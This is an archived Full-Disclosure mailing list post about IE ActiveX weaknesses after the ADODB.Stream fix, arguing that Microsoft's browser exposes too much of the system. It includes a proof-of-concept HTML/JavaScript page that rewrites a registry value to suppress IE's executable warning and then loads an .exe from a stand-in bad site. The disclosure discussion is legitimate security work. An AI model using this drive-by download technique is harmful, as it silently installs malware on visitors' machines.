full-disclosure - Betr.: Re: Fix for IE ADODB.Stream vulnerability is out

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: mattmurphy at kc.rr.com (Matthew Murphy)
Subject: Betr.: Re: Fix for IE ADODB.Stream	vulnerability is out

"Jelmer" writes:
> Because we avoid the adodb.stream issue all together,
> You can patch it, but if you leave open other issues, well it's pointless
> Instead we just swap in this instead of the old shellcode:
[snip PoC]

Well, the problem with ADODB.Stream wasn't executing files, it was writing
them to disk.  However, as you correctly point out, there are plenty of
ActiveX components on an average Windows system that are deliberately marked
*unsafe* because of the functionality they offer, and they *should not* be
invoked by a browsing interface for any purpose -- regardless of the trust
level associated with them.

So, the point of this is that we shouldn't cripple individual components, as
that is a ridiculous cat-and-mouse game that Microsoft cannot win,
particularly as slow as it is to react to this sort of thing.  We've been
talking about the risks of this particular component for months, but
Microsoft did what... nothing.

The real fault doesn't belong with individual components (ADODB.Stream
included), and I think the almost rant-like posts of Drew Copeley and
HTTP-EQUIV miss this fact.  ADODB.Stream does *not* represent a
vulnerability, although it does act to significantly worsen the impact of an
existing one, by allowing transfer of binary files to targets.  However, the
same functionality as ADODB.Stream could be accomplished by simply altering
the open-restrictions registry value that IE uses for executable files
(that's right -- the hardcoded warning required behavior isn't hardcoded at
all), and then invoking IE to do this for you.

[html]
[head]
[script language="JavaScript" defer]
function throw_onload() {
    actx.RegWrite("HKCR\\exefile\\EditFlags", 0x38070000, "REG_BINARY");
    window.close();
}

var actx = new ActiveXObject("WScript.Shell");
actx.RegWrite("HKCR\\exefile\\EditFlags", 256, "REG_BINARY");
document.writeln("<IFRAME SRC=\"http://www.somebadsite.com/file.exe\"
ONLOAD=\"throw_onload()\" />");
window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE
fires OnLoad for .exe files!  Anyone?
[/script]
[/head]
[body]
[/body]
[/html]

This demo may contain bugs, and was somewhat hastily cobbled together (not
intended to be used verbatim in code, only demonstrate theory), but you get
the idea: given full ActiveX access, you can do huge amounts of damage,
particularly if the user visiting you is an admin.  However, this isn't a
significant setback, as the exploits in-the-wild that overwrite wmplayer.exe
require the same privilege level.

The real fault in this case most definitely does belong with Microsoft (few
will argue that, and none will persuasively argue it, otherwise), but for
the reason that its browser simply allows too much access to system internal
components.